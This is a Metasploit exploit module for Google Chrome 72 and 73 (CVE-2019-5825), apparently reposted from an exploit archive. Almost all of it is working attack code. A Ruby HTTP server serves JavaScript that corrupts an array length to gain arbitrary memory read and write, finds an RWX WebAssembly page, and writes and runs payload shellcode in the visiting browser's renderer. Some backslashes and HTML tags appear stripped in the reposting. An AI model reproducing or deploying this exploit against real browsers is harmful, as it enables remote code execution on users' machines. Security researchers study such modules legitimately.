This Metasploit module exploits an issue in Chrome version 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload. The payload is executed within the sandboxed renderer process, so the browser must be run with the –no-sandbox option for the payload to work correctly.

MD5 | 2d254d561447d584fca1cf0562293577

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
'Description' => %q{
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
The exploit corrupts the length of a float in order to modify the backing store
of a typed array. The typed array can then be used to read and write arbitrary
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
memory, which is then replaced with the payload.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'dmxcsnsbh', # discovery
'István Kurucsai', # exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5825'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
['URL', 'https://github.com/exodusintel/Chromium-941743'],
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows','osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 7 2019'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)

if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.encoded)
jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
function cb(elem, idx) {
if (idx == 0) {
float_array = [0.1, 0.2];

tarray = new BigUint64Array(2);
tarray[0] = 0x41414141n;
tarray[1] = 0x42424242n;
obj = {'a': 0x31323334, 'b': 1};
obj['b'] = obj;
}

if (idx > float_array_len_offset) {
// minimize the corruption for stability
throw "stop";
}
return idx;
}
return a.map(cb);
}

function get_rw() {
for (let i = 0; i < 10 ** 5; i++) {
mapping(a);
}

// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);

a.push(2);
a.length += 500;

// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
cnt = 1;
try {
mapping(a);
} catch(e) {
// relative RW from the float array from this point on
let sane = sanity_check()
print('sanity_check == ', sane);
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
print('original elements addr: ' + original_elements_ptr.toString(16));
print('original elements value: ' + read8(original_elements_ptr).toString(16));
print('addrof(Object): ' + addrof(Object).toString(16));
}
}

function sanity_check() {
success = true;
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
return success;
}

function read8(addr) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
let result = tarray[0];
float_array[tarray_elements_len_offset+1] = original;
return result;
}

function write8(addr, val) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
tarray[0] = val;
float_array[tarray_elements_len_offset+1] = original;
}

function addrof(o) {
obj['b'] = o;
return float_array[obj_prop_b_offset].f2i();
}

var wfunc = null;
var shellcode = unescape("#{escaped_payload}");

function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

function rce() {
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1n;
print('wasm: ' + wasm_func_addr);
if (wasm_func_addr == 2) {
print('Failed, retrying...');
location.reload();
return;
}

let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
print('sfi: ' + sfi.toString(16));
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
print('instance: ' + instance.toString(16));

//let rwx_addr = read8(instance + 0x108n);
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
print('rwx: ' + rwx_addr.toString(16));

// write the shellcode to the RWX page
if (shellcode.length % 2 != 0) {
shellcode += "u9090";
}

for (let i = 0; i < shellcode.length; i += 2) {
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
}

// invoke the shellcode
wfunc();
}


function exploit() {
print("Exploiting...");
get_rw();
rce();
}

exploit();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(///.*$/, '') # strip comments
jscript.gsub!(/^s*prints*(.*?);s*$/, '') # strip print(*);
end

html = %Q^



#{jscript}





^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end

Source